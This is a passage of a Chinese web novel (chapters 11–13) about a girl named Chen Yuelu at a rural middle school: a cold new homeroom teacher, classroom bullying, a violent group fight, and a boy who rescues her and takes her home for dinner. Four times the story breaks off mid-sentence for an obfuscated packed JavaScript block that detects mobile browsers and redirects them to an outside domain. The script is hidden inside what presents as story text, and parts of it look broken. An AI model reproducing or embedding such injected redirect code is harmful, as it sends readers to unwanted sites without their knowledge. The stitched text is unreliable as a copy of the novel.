;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885197|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“怎么,不像?”男孩侧着目光看她。
“那你读几年级?”陈月露反客为主问。
“初二。”
“啊,我也初二。”
“这个‘啊’是什么意思。”男孩提了提嘴角,嘴角漾出细细的笑纹。
陈月露再打量打量他,又看看自己,心里想的是为什么同样是14、15岁,有的人已经成长得像个有气质的大人,而有的人还是一副矮冬瓜一般的儿童模样。
她没说心里话,板着脸回答说:“就是太巧了的意思。”
“你叫什么?”男孩问她。
“陈月露,月亮的月,露水的露,你呢?”
“赵冬阳。”赵冬阳微微垂着眼看她,“我见你第一眼我就想问你个事儿,”
“啥?”
“你头发天生是这个颜色啊?”
陈月露摸了摸头,“天生的,老师也以为我染过。只是比普通人偏金棕一点,进了屋子就看不出来了。”
“阳光一照,金灿灿,像个娃娃似的。”
陈月露不高兴了,“我不是娃娃了。”
“一生气更像了。”赵冬阳逗她,露出了一排齐齐的牙。
“你不是这里人?”陈月露换了个话题。
“不是。”
“哦。”陈月露不知道该说什么了,正常人会在接着解释一下自己是哪里人,但赵冬阳似乎没有这个意思。陈月露抿抿嘴,敏感地想他是不是不喜欢说自己的来历,紧接着就想得深了,他这种重组家庭,禁区是多一些。她顿时变得小心翼翼起来,怕踢到他不愿意的话题。
只可惜到学校的路还长。
赵冬阳也不说话了。气氛像暴雨前的傍晚一样闷。
“今天……是你第一天去学校吗?”陈月露不得不又一次小心翼翼地发起话题。
“嗯,我还没办转学手续。”
“那……你到学校有不熟悉的地方,可以……可以问我。”陈月露说完就觉得自己身上快起鸡皮疙瘩。像《那小子真帅》《泡沫之夏》里的狗血情景。如果给董敏听到,她会发出一阵欧哟的揶揄。
赵冬阳也笑了,自信地说了一句,“我哪用得着你?”他说着把身上单肩背着的包换了个方向,书包碰到路边的电线杆子,里面发出咣当的声音。
“你书包里装的啥啊?”陈月露顺着事件抓住话题。
赵冬阳停下脚步来,把董敏的行李包放在地上,拉开自己书包拉链给陈月露看,陈月露好奇地探过去。
一个足球,一把扳手。
他解释说:“要是新同学关系能处,可以一块踢球。”
“要是有找茬的、欺负人的,那我也不客气,就拿扳手伺候。”赵冬阳把拉链重新拉好,脸色上闪过一点得意。
陈月露在心里倒吸了一口气,小声嘀咕了一句。
赵冬阳没听清,拽住她,“你说什么,你大点儿声!”
陈月露憋红了脸,直接喊出来自己的心声:“你怎么一本书都不放书包里?!”
赵冬阳愣住,随即笑出了声。
他们转眼就到了学校门口,陈月露给他指了指教务处的方向,两人就分开了。
下午两点就开始上自习,陈月露背课文背得蒙头转向。董敏坐在她斜后方,戳戳她,“那个男生,那个身板板正的男生,要转来咱们学校你知道吗?”
陈月露闭着眼摇头晃脑,嘴里回答说:“我知道。”
“就不知道会分到哪个班……”董敏嘟囔着,班主任老余走进来了。
董敏目光追随着老余的走进来的路径,瞥见门外有人影晃动,念叨:“不会是分到我们班吧~~”
老余在讲台上站定,敲了敲黑板,屋里背书的声音短暂安静下来,他操着一口粗哑的声音高声说道:“给大家介绍一下,”
“这么巧?”陈月露心里跳了一下,徐徐睁开眼。
紧接着一个瘦长的男人走了进来,老余指着男人继续说道:“这就是你们的新班主任——白世尧白老师。”
陈月露看向那个叫白世尧的男人。他带着一副银边眼镜,穿得也很讲究,他低头的时候不笑,但抬起头看向所有同学时就会自动挂上一副面具般的笑容。之所以说是面具般,是他笑起来只有嘴角提起来,眼睛周围的肌肉不动。
陈月露不小心对视上他的眼睛,他的笑容正收合上,嘴角缓慢的放下去后,眼里的冷漠就更加明显。
陈月露赶紧垂下头,不知怎么的,一股不安的情绪在心里弥漫开。
11. 矛盾
同口一中是这个镇上唯一一所初中,生源除了镇上,还来自附近18个村。
学生人数多,成绩和素质参差不齐。有一大部分是从田地里野大的,不守规矩,桀骜难训。加上一个班上60个人,一个年级大概8个班,老师不到20个,管1500多个学生,力有不逮的情况下,对学生管理方式没法儿不粗暴。
老余就是那种暴脾气的班主任,大肚皮,容易红的脸,凸出的眼球,厚厚又擅长骂人的嘴唇,他喜欢在操场边的树底下拾直溜的树杈子,收拾了枝丫剥开皮,抽在那堆混小子身上嗷嗷叫。
有些混蛋小子不服气,甚至敢动手回去,老余就纯靠一身蛮力以及对对方祖宗十八代的辱骂给收拾回去。
久了,他靠镇压压出来了自己的威信。坏学生看见他绕道走,乖学生看见他抖三抖。
陈月露是典型的怕老师的小孩,她如果路上看见老余,宁可绕路也不敢迎面打声招呼。但她不讨厌老余,甚至每次考了好成绩,她都在期待老余用粗嗓音读出她的名字,夸夸她什么的。
可老余的注意力百分之八十都在后几排的男生身上,分不出什么精力来关注陈月露这些遵规守纪的小孩。
陈月露心里难免遗憾,这师生关系太淡薄了。
董敏自从老余把她的《会有天使替我爱你》《谁的青春不寂寞》给当众撕了,她就表示厌恶老余。她讨厌老余的理由非常多,他粗暴、不分青红皂白、没人情味、长得丑、说话溅吐沫星子、偏心好学生……她也只敢暗中不遗余力跟老余作对,最惯用的手段就是给老余取外号,流传最广的就是余□□。
“余□□居然不管咱们班了?”董敏激动得戳戳陈月露,“大喜事儿啊。”
“你小声点。”陈月露侧着身子跟董敏交代,内心隐隐觉得班里这种弹冠相庆的气氛不是很合适。
但后三排的刺头们不管这些,听闻了老余会卸任本班班主任一职,当着老余的面儿就发出了欢呼,“欧耶~~”“拜拜了您呐~~”
老余的脸一青,从身后拽出一根杨树条,就要走过去抽人。
一直没有声响的白世尧伸手拦住了老余,“余老师,小孩不懂事,还有别的方式教育,咱们尽量别动手,就当给他们竖个榜样。”
这一番话说得斯文体面,立马把董敏的好感拉拢了过去,“新班主任人不错啊。”她又眯着眼上上下下把白世尧扫了个遍,“长得也不错。”
当着全班面被白世尧生生阻拦,老余脸上涨起一片红温,他看看那些做鬼脸的小兔崽子,又回过头看了眼一脸淡然的白世尧,想说什么又硬生生给忍了下去,最后憋出一句:“班儿交给你了,你看着办。”
老余转头就走了。他还没走出多远,屋里又响起一阵口哨和欢呼。
白世尧立在讲台边,他穿白色的衬衣,戴了一副银边的眼镜,他身材瘦高,衬衫穿在身上有股清冷文气,头发似乎打了摩丝,一个服帖的背头,袖子挽上去,腕上戴着一只手表。
“那个词怎么形容来着,对,斯文败类~”董敏用书挡住嘴,努力压住快尖叫起来的声音,继续点评道,“真斯文嘿,不知道年纪多大,看上去不到三十岁~哎,让我想重温那本《帅气老师爱上我》了……”
陈月露不觉得他帅,她视力好,坐在第二排能清楚看到他的脸,他皮肤粗糙,有坑洼的痘印,脸颊很消瘦,使得颧骨略凸出来,略肿的单眼皮,诸多缺点全被一副眼镜遮挡住。陈月露很谨慎的发表自己的评价,“我觉得也就是个会收拾的普通人。”
白世尧在讲台上做了简单自我介绍,“我叫白世尧,以后除了当你们的班主任以外,还负责教语文和思想品德。我整体算比较和气,不怎么轻易发脾气。至于其他的,可以以后慢慢了解,希望以后相处愉快。”
带头庆贺老余离开的男生,誉为三班的“搅屎棍”的黄得洪嫌他说得简短,开始大声接话茬,“老师多大啊?”“老师结婚了没有?”“自我介绍敞亮点嘛~”
语气轻佻不客气。
白世尧低头摆正桌面上的教案,一时没说话,但第二排的陈月露看得清楚,他短暂地露出一副嫌恶的表情。而他抬头的时候,声音表情就恢复了平静:“也不能只有我一个人介绍,你们都上来讲讲自己给我认识,你们记我多容易,我记住你们六十个人可不容易。”
随即他让大家按照学号上去一个一个介绍自己,但这些学生,普遍在讲底下能言会道,到了讲台上就又成了闷葫芦,前两个学生说完自己的名字后就僵在原地,最后匆匆下了台。白世尧便直接规定,每个人至少讲够半分钟。
白世尧斜着身子坐在讲台底下,目光凝视讲台,第三个同学是个男生,依然没有说满半分钟,他想下台,却被一些好事儿的学生起哄,“时间不够!”“不能下来。”男生没办法,挠了挠头又开始东拼西凑了一些内容。
再到后来,这场自我介绍就变成了流程,大家自动找到了既能满足要求又不让自己难堪的话语模板,比如“我叫什么,我来自哪个村,我的爱好是什么,我最擅长的科目,以及我爱吃的东西是什么。”安全又无聊。
陈月露再看向白世尧,他垂下头掸着自己裤子上的土,也不在乎讲台上的人说什么。
同学一个一个机械地走完过场,气氛逐渐变得沉闷。
直到校花张雪薇走上讲台。
张雪薇个子大概1米六,有一双非常灵动的眼睛,皮肤很白,透着自然的红晕,她今天扎了一个倾斜的低马尾,夹了一个粉色的发卡,声音里带点紧张,但一点点颤抖使她的介绍显得更软糯娇气。她刚说完,汤绍就吹了一声口哨,黄得洪紧接着发出捧场的声音,“哎呦,是你的什么人啊~”这一唱一和,引起班里一小阵“呦呦呦“”的起哄。
白世尧抬眼看向讲台,把张雪薇上上下下扫视了一遍。他才慢悠悠地制止黄得洪和汤绍,“安静点。”
陈月露难得八卦一回地低声问董敏:“汤绍胆子这么大了吗?!上次汤绍写给张雪薇的纸条和巧克力不是被老余没收了吗?张雪薇答应他了?”
老余在的时候,抓早恋抓得非常狠,但凡有人被他发现苗头,棍子就会朝男生身上抡上去,外加一通精神凌辱——“你能给女孩什么?成绩烂得跟狗屎一样,让女孩跟着要饭还是捡破烂?““你个女孩子家家要点脸,把名声弄差了有什么好,你现在年纪懂个什么,找人骗了都不知道。”还要全校通报以及罚几十页检讨,附带记大过和叫家长,不让当事人蜕三层皮不算完。
张雪薇一直是老余重点关注对象,他要求她不许穿裙子,头发不许披着,时常拉到办公室做思想教育,警告她不要早恋。她的课桌也经常遭到老余的搜查,情书鲜花巧克力项链统统没收,再给这些犯事男主一顿“惩戒大礼包”。
所以敢顶风作案的人很少。
董敏不负所望地打开八卦匣子:“还在追。不是因为余□□看得严吗?余□□一走,汤绍就忍不住跳出来了呗~但我说,这事儿成不了。”
汤绍是班里的霸王,黑瘦,头发留得长,特意蓄的刘海斜斜撇过去,挡住一只眼,而另一只露出来的小眼睛喜欢斜着看人。他脾气不好,要面子,心眼小,常因为口角跟人干架。但他家里有钱,家长对他的霸王行径也睁只眼闭只眼。
黄得洪是他的跟班,班里也是出了名的浑。黄得洪长的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885198|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胖,大概150斤,身材圆得像只熊,皮肤比正常男生白,脸上布满了雀斑,天天缺钱,汤绍给的不够,他就会找班里同学“借”。
因为俩人都不是什么好学生,陈月露自然也认为张雪薇肯定不会答应汤绍的追求。
“不光因为这个。张雪薇其实早认了初三那个留级生当干哥哥!”董敏拿书挡住嘴里的声音。
“认谁?”
“鬓角老长还有胡子的那个,方……方昭!”
陈月露一下子就知道了是谁,方昭是初三的体育生,留了一级,17岁,长得很成熟,喉结,三天不刮就长满离离原上草般的胡茬,打架也厉害,逃课混迹各个台球厅录影厅,在学校里没人敢惹,并认了一堆干妹妹。
“啧啧,汤绍打算虎口夺食这是。”董敏往后排的方向瞄了瞄,对上汤绍那斜斜的眼神,她打了个冷战又转回头,喃喃道:“谁是老虎还不一定……”
陈月露却提前担忧地想,这不管一下的话,会不会闹起来。
很快,她的担忧转移到了另一个方向。
和白世尧相处了几天后,黄得洪自认为摸出来了他的脾气,认为这个新班主任年轻和气,是个可以随便拿捏的主儿,就开始变着法儿挑衅他的权威。
一天黄得洪带了扑克牌、啤酒、瓜子到课堂上,和后排的兄弟伙儿码了牌局。卡登卡登的瓜子声,啪啪的斗牌声,直接气哭了在课上忍了又忍的地理老师。
小个子的地理老师一摔粉笔,抹着眼泪把他们告到了白世尧那里。
而白世尧来到班里准备把黄得洪叫出来说话的时候,黄得洪直接趴在桌子上装起睡。
“黄得洪你给我出来!”
白世尧脸色隐隐发青,声音提高了一倍,指名道姓,言语里带着威胁。
屋内一片寂静,声音几不可闻。
黄得洪轻飘飘地伸了个懒腰,阴声怪气地说:“什么东西在叫?!”有人忍不住发出噗嗤的笑声,又赶忙压住。
白世尧铁着脸,走过去准备把黄得洪拽起来,但黄得洪体重已经150斤,他不仅没被拽动,一扬手,还把白世尧搡出去两步趔趄。不知道是有意还是无意,汤绍一条腿就恰好直直地伸在白世尧身后,白世尧直接被绊了一个屁墩儿。
这一下,四周细微的悉悉索索的声音在房间里荡漾起来。低低的笑声和议论声,像过境的蝗虫一样朝着白世尧飞扑而来。
白世尧的面子就这样被黄得洪一扬手扔在了地上。黄得洪最后还踩上一句:“老师你好虚啊。”
如果不是老余救场,白世尧恐怕会被黄得洪羞辱得更加难堪。
老余在办公室里听说了这个事儿,直接拎着棍子朝初二三班冲了过来。黄得洪从窗户边看见火气冲天的老余,直接撞开后门,夺门朝楼道跑了。
老余的棍子抡了个空,拿黄得洪宽阔的后背当靶子直接甩飞出去,骂声在楼道里响亮地回荡:“你胆子肥了?!我是不是跟你说了,我学业不要求你,但不守规矩我打死你!!你信不信我打死你你妈都得喊一声‘打得好’!”
白世尧已经被同学扶起来,他脸色涨成了猪肝色,踉跄地走到走廊上,他看着黄得洪逃窜背影的眼神,已经变得充满恨意。
周围的人谁也没把这件事儿当成一回事儿,班上不服管的“坏”学生做过比这更过分的事儿。只有陈月露隐隐预感到一些危机,学生的反抗程度和老师的约束力是一个博弈的过程,新班主任的权威就这样眼睁睁的失效了,她不知道这种失控的程度日后会演变成什么样子。
她是个十分喜欢和平的小孩,她太害怕混乱了,她害怕暴雨会在自己不知道的情况下倾头下来。
12. 群架
后来黄得洪的惩罚是老余给出的,全校检讨和停课一周,让家长领回家教育。黄得洪的爹爱打牌,从不管他,每次都是他妈妈来学校处理黄得洪闯的祸。他妈妈身材瘦小,信各种教,手上脖子上都带着念珠,胸口挂个不知道什么材质的菩萨像,一进办公室就开始抹眼泪,嚎啕大哭,哭自己的命苦,哭黄得洪是个讨债鬼,并让黄得洪对着自己的菩萨像发誓,自己会遵规守距,不再犯错。
白世尧内心对这母子俩厌烦。老余看出他的脸色,给白世尧递根烟说:“这个阶段的小孩不好管,有些连基本教养都没有,甚至善恶观都没形成,光耐心和气没用,只能往严里压住。等再长几年,兴许就能懂点儿事。”
“这些屡教不改的东西,像是能懂事儿样子?”白世尧厌恶地说。
老余依然保持着递烟的姿势,和气地回复:“有一些可能一直都犯浑。能约束一点是一点,别祸害了其他苗子。”
白世尧心里却想,管这些“渣滓”干什么,直接全清退了得了。但他没说什么,只摆摆手说自己不抽烟。
汤绍对张雪薇的追求越来越明目张胆。
他用带香味的信纸抄写了一首又一首情歌,发动了全班女生帮他用彩带叠小星星,说要叠满999个送给张雪薇,每天买一朵昂贵的蓝色妖姬摆在她座位,并在她的课桌上刻下“张雪薇是汤绍的女人”。
张雪薇的反应很谨慎。她把收到的所有东西交给白世尧。
但白世尧的反应非常平淡:“我相信你能处理好这些。”转头他和来交作业的女孩调笑:“谁没有青春悸动的时候?让我想起了我像你们这么大的时候,青春好啊~”
周遭响起来阵阵的欢笑声。
张雪薇捧着这些东西有些尴尬,她回到教室,思来想去,最后第二个课间把这些东西退还汤绍。
汤绍有点不爽,他直接把张雪薇的同桌赶走,自己则坐在了张雪薇的旁边,“你什么意思?”
“我不能接受……”张雪薇有点胆怯地小声说。
“什么叫不能?!你解释解释?嫌弃我?”
“我没有……我还得上学,不能谈恋爱。”
“靠,装什么,你名次才几名就装好学生?跟我谈恋爱就耽误你学习了,跟方昭谈就不会呗?”
张雪薇有点涨红了脸,“你怎么说话这么难听?”
汤绍的火气却被自己的解释拱了起来:“我难听?!你天天跟他干哥哥干妹妹的就不难听?你们什么关系啊,恶不恶心啊?”
“你才恶心!”张雪薇站起来,声音高起来,“我们什么关系和你也没关系!”
这一声令课间一下子安静了。
“啪”一声,汤绍甩了张雪薇一个耳光,他甩了甩手,“摆什么谱?以前我以为是老余的原因,你不敢理我,感情你就是纯贱呗,你等着,我去弄那个叫方昭的,只要他退出了,你不答应也得答应!”
张雪薇被打得有点懵。
陈月露、董敏都被这一幕吓得有点傻,马玲玲却第一个站起来,她扔了本书在汤绍身上,用粗哑的嗓子对他吼道:“打女的,你也有脸!!”
书砸得汤绍火冒三丈,他的矛头对准马玲玲:“你个恶心玩意有你什么事儿?有人生没人养的东西,你是臭的你不知道吗?跟个臭蜈蚣似的,滚一边呆着去!”
马玲玲没说话,狭长的眼睛像发动进攻前的黑豹子一样盯紧对方。
“你看什么看,欠收拾……啊!!”
只见马玲玲的嗓子咔咔了两声,把一口痰直接吐在了汤绍脸上。
这口痰挂在汤绍的下巴,汤绍一边抹脸一边尖叫起来:“我艹!!你他妈找死!!”
马玲玲又发出咔咔两声,汤绍用胳膊挡着往后退了两步。马玲玲举起一个凳子,陈月露也站了起来,直接立在马玲玲身边。
董敏一个头两个大,见拽不回来陈月露,就一脚轻踹在自己窝囊的男同桌腿上,低声骂他:“去帮忙啊!是不是爷们?!”她自己则假装看窗外喊道:“哎,余□□过来了!!!”
几个同学也围了过来,人一多,加上老余过来的假情报,汤绍心里也犯怵,拿手指着马玲玲的鼻子撂下狠话说:“你给我等着!!处理完方昭就收拾你!!”
他喊完边从后门跑了出去,估计是去清洗自己。
危机算是暂时解决了。陈月露轻轻松了口气,马玲玲面无表情地放下凳子,从人群里挤出去,坐回自己位置,拿起玻璃丝接着编手链。张雪薇趴在桌子上低低地啜泣,几个女生守在一边安慰。
实诚的陈月露扒拉着窗户往外看:“老余到了吗,老余在哪儿呢?”董敏则一屁股坐在自己座位上,劫后余生地摸着自己胸口:“是我骗汤绍的,老余没来。”她平复了一会儿心情,又小声说:“唉,要是老余真在,汤绍就不会这么嚣张~”
老余会紧紧束缚住那帮没教养的恶毒的男孩,给她们这些乖顺的小女孩制造一个安全地带。
白世尧任由这一切失效。
董敏慢慢回过身,对陈月露说:“我再也不骂老余了。”
群架是在第二天打起来的。
下午最后一节是体育课,初二年级三班和五班的学生都在土操场上自由活动。黄得洪被停课的处罚还没结束,却突然出现在了操场上。他披着一件校服在身上,把手揣进怀里,鼻孔因为疾走而瓮开,令他像一头发怒的牛。
汤绍身边围了一帮人,有本班的男生,也有别的班儿翘课过来的。他把外套系在腰上,上身只穿了一件黑色的背心,他站姿像个圆规一样,一条腿往外伸,两只手叉腰站立,嘴里叼着一根牙签。等黄得洪归入他的队伍后,汤绍伸出手指,朝初三八班的方向指了指,整个队伍像是一个快速移动的马蜂群一样,冲向方昭所呆的班级。
下课
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885199|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铃正好响起,方昭似乎是有所准备,还没等汤绍堵到门口,他就带了一帮男生抄着家伙事儿冲出了教室,两帮人在操场边上狭路相逢。汤绍从怀里抽出来一根铁棍往打头的人身上砸下去。黄得洪往墙上敲碎了啤酒瓶,手快挥出来残影。有人拿板儿砖,有人抄了植树用的铁锹,有人下手有分寸,有些毛头小子却往死里打人。但个个脸上都冲红了,喊叫和辱骂激荡在操场,氛围变得异常残酷,无人敢靠近。
一时间打群架的消息传遍了整个学校,好事的学生从教室跑出来远远围观,几个小女孩拔腿跑向办公室去叫老师。
陈月露几乎快哭了。
群架发生时,她正沿着操场往外走,刚走到一个转弯的地方,就被这场群架堵在了墙角,十几个男生外加棍棒和砖头,把能出去的空隙拦得死死。她蹲下来,把自己嵌在墙壁上丝毫不敢出声。哐哐的砸向人类□□上的声音令她心惊肉跳,有几只飞踹的脚和舞动着铁棍的手臂离她距离只有一米远。
但她一动不敢动。
陈月露有个不好的毛病,就是遇见自己应付不了的危险时,她会自动变成一只僵硬的原地不动的鸵鸟。她的头脑会立刻停止思考,四肢变得僵硬,内心只剩下不断蔓延的恐惧。这恐惧像病毒一样控制住她,让她暂时变成一个非常迟钝不灵敏的小孩。
她捂着头,眼睛失焦地望向远处,她快被面前的残酷和失序压垮。
突然她看见一个熟悉的人影提着一把板凳,冲进这场混战中。他身材板板正正,穿着干净的T恤和短裤,左肩上挎着一个黑色书包,左手抄在兜里,右手拎着一个废板凳抡开了一个圈儿后,快步迈向陈月露。
陈月露还没来得及反应,就被赵冬阳一把扽起来。
赵冬阳把陈月露拉到身后,用凳子怼开了面前打上头的男生,另一个男生拎了一块板砖抡向他,他来不及抵挡,只好转了个身用后背挡住,骨头和板砖之间发出砰一声闷响。
陈月露下意识闭上眼。
赵冬阳忍住疼,火气上来了,他不再被动防御,一脚踹开挡住自己的男的,把板凳往身后追来的人身上一砸,找准时机,拉起陈月露就往出口跑。
赵冬阳的手掌干燥又有温度,他一边跑一边回头安慰陈月露:“没事儿了哈,刚才看你都吓傻了,没事儿了没事儿了…”
傍晚的夕阳血红血红的,身后是厮杀的声音。所有老师和门卫都出动去阻拦这场群架。没有人关注他俩。
陈月露的魂儿又回到了自己身上,她的四肢渐渐重新属于了自己,被冻住的感觉在慢慢解冻。
她一边跑,一边侧脸看向赵冬阳,他的睫毛那么长,眼睛那么亮,在夕阳的映照下染上一层金黄,忽闪一下,仿佛是一只随时要振翅起飞的蝴蝶轻轻扇动了翅膀。
于是刚才被困在群架里的那种恐惧,对一切秩序在失效的担忧,都在陈月露心里慢慢褪色了。
13. 梦想
赵冬阳是走读生。他的继父老张是开杂货铺的,铺子和学校大概也就隔着两条街,是一个自建的两层小楼,二楼可以住人,一楼用来开店。老张再婚后把二楼重新粉刷过,还给赵冬阳单独隔出来一个房间,又叫人打了柜子和书桌,之后老张还准备把一楼重新布置装修,把杂货铺升级成超市。整个小家有欣欣向荣之势。
现在赵冬阳就带着陈月露站在自己家门口。
而陈月露有点懵,她被赵冬阳从群架的风暴里拽出来后,俩人一直跑出了学校。不知道为什么跑动的步子一直没有停下来,她就脑子晕晕地跟着赵冬阳的惯性一路跑到了他家门口。
赵冬阳站上台阶后,才反应过来什么似的,转过身看向陈月露。她正仰着头看自己,脑袋上顶着一片草叶子,脸上渗着亮晶晶的汗,头发被夕阳染得软软的金黄色,看上去像一罐儿要淌下来的蜜。
赵冬阳心里一软。
他举出两根手指,伸向陈月露脑袋顶,拈起来那片草叶子。
“好像个懵懵的小狗啊你~”赵冬阳调侃她说。
陈月露缓缓把视线收回,她觉得心里开始出现很多复杂的东西,憋得她有点不舒服。她深深吸口气,压住自己的情绪才开口说:“谢谢你啊,把我救出来。我可能得先回学校了。”
赵冬阳想了想说:“你要不要来我家坐会儿?”
陈月露犹豫了片刻,悄悄打量了一下那扇大开的门,又摇摇头。她觉得去男孩家做客很不好意思。
赵冬阳又往上走了个台阶,手一招,大大咧咧说:“进来呗,这会儿回学校有啥好玩的。我这里可是杂货铺,啥都有。”他想了想又补充说:“张叔和小婷不在,就我妈在。可以来我家看电视,还有游戏机。”
听到赵冬阳的声音,铺子里走出一个女人。那女人是老张的新媳妇,赵冬阳的亲妈妈,姓夏,叫夏琳。夏琳穿了一件合身的白色碎花连衣裙,头发烫成波浪,用一根丝巾扎着,眉毛描画过,合宜的细弯眉,一笑眉毛和眼睛都弯起来,让人觉得温柔如春风。
夏琳先看见门口的女孩,她瞥了一眼赵冬阳后,直接笑着招呼陈月露:“哎呀,这么乖一个小姑娘,是赵冬阳的同学吧,快进来,阿姨给你们做好吃的~”
赵冬阳也继续添油加柴地说:“对,至少吃了饭再走,学校食堂又不好吃,这个点儿也没饭了。”
陈月露看着夏阿姨,心里生出许多好感,不好再拒绝,于是慢吞吞地跟着赵冬阳进了屋子。夏琳让两人直接去楼上,自己在厨房简单热几个菜就行。
赵冬阳把自己房间的门大敞开再邀请她进去,“你看什么感兴趣你就自己玩儿,我下去给你拿点零食。”
陈月露还没来得及说话,赵冬阳就咚咚咚地又跑了下去。
大约床单是新换没多久的,屋里散发出一股好闻的洗衣粉的味道。陈月露抽了抽鼻子,安分地坐了一会儿,赵冬阳迟迟不露面,陈月露开始小心地打量这个房间。
屋子收拾得干净整齐,赵冬阳有自己的书桌,书桌上摆着几组照片,其中一张就是结婚那天的全家福;一张照片是他小时候穿着的一身军装,一只手叉着腰,一只手举着一只塑料枪;剩下全是他在学校田径比赛中得一等奖的领奖照片。
书桌上方是一方小小的柜子,陈月露惊喜地发现里面有《读者》、《意林》的大合订本,世界未解之谜的最新版,当她看到《哈利波特与魔法石》时,她直接叫出了声。
赵冬阳抱了个小筐子上来,里面盛满了零食,大大泡泡糖、大白兔、牛板筋、咪咪虾条、小浣熊干脆面以及两瓶健力宝。
“我妈说,让你先挑着吃,一会儿还得吃饭,吃完饭这些你可以都带走。”
陈月露挑了一颗大白兔奶糖,对着剩下零食摇摇手说:“哪能又吃又拿?”她嚼着糖,眼睛还是在往那本没看过的《意林》和《哈利波特与魔法石》上面瞟。
赵冬阳却只顾给她手里塞吃的,“拿着呗,客气啥。”
陈月露手里几乎快塞不下,她不得不用话题打断他的投喂,指了指他的照片说:“你体育好厉害啊,田径能得这么多奖。”
赵冬阳有点骄傲地点了点头:“那可不,我踢球也很厉害。你看去年的世界杯了吗?”
陈月露摇摇头,她对体育竞技一丁点兴趣也没有。她只喜欢安安静静地看书。这么想着,她又瞄了一眼那两本躺在柜子里的书。陈月露在学校里课外阅读材料贫瘠得可怜,学校里有一间简陋的图书室,也从来没有开放过。她唯一能获得课外书的渠道来自一个偶尔在学校栏杆外售卖二手书的书贩子。
没眼力见儿的赵冬阳兴致勃勃地给她讲起了那一届的世界杯的精彩情况。
陈月露被这些国家的对战情况和足球规则绕得云山雾绕,她努力地插入一个问题:“那咱中国队得第几啊?”
赵冬阳略遗憾地说:“没名次,小组赛就输了,垫底。”
“啊……这么惨啊?”
“不,这可是中国队第一次入围世界杯,已经是相当好的成绩了,之前可是连入围资格都没有。”他说完又满眼是光地补充道:“我相信中国足球会越来越好的。我们的其他体育赛事国际成绩可都在进步,这么大个国家,10来亿人口,难道还没有11个会踢球的?”
陈月露点点头,又歪着脑袋问:“你长大了要去踢球吗?”
赵冬阳想了想摇摇头:“应该看情况吧,大概率不会。我其实更想当警察来着。”
赵冬阳说得口渴,打开一瓶健力宝递给陈月露,又给自己开了一罐,问:“那你以后想干啥呢?”
陈月露愣了。她不敢说。
她太内敛了,又太乖巧,她觉得梦想这种词汇太华丽遥远,是属于她不能控制的那类东西。
她的爸爸妈妈是村里的小商贩,在集市上卖小孩玩具,爷爷和奶奶种地。偶尔也会有人逗她“长大是当科学家还是当工程师啊?”但连陈月露自己都模模糊糊感受到,那只是玩笑,其实没人会觉得那些宏大的字眼会落在一个村里小女孩的人生里。
她自己也这么觉得。
何况她的梦想比科学家和工程师更不切实际一些,还带一点点难以启齿。
她想当一个作家。
这样,她可以在自己织造的世界里勇敢无畏,掌控一切。
但这片土地上,这个梦想多虚幻缥缈啊。
赵冬阳还在礼貌安静地等待着她的回答。
陈月露抿了抿嘴,昧着良心从自己写的作文谎言里挑了一个说:“想……当个医生,救死扶伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885200|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,挣得还多。”
赵冬阳非常轻易地信了,用自己的健力宝碰了碰陈月露手上的那瓶,高调地说道:“祝你梦想成真,成为一个特别厉害的医生。如果未来我出了事儿,你能像《大话西游》里的至尊宝,踩着手术刀过来救我。”
陈月露一边被逗得笑出声,一边因为自己说谎悄悄心虚起来。
夏琳喊他们下来吃饭。
夏琳做了好几个菜,她的菜跟她本人一样温柔好看,吃起来又口感适宜。陈月露肚子确实有点饿,这种情况下她还是吃得矜持礼貌,饭在嘴里一小口一小口嚼,努力使自己不发出一点声音。
赵冬阳非常得意地炫耀:“我妈手艺还可以吧~”
陈月露猛点头。
夏琳笑着不断给她夹菜,问了她学习成绩,家里基本情况,夸她乖巧有礼貌,十分招人疼。她让赵冬阳以后多多保护她,常带她来店里玩。
一顿饭吃下来,陈月露心里暖洋洋的。
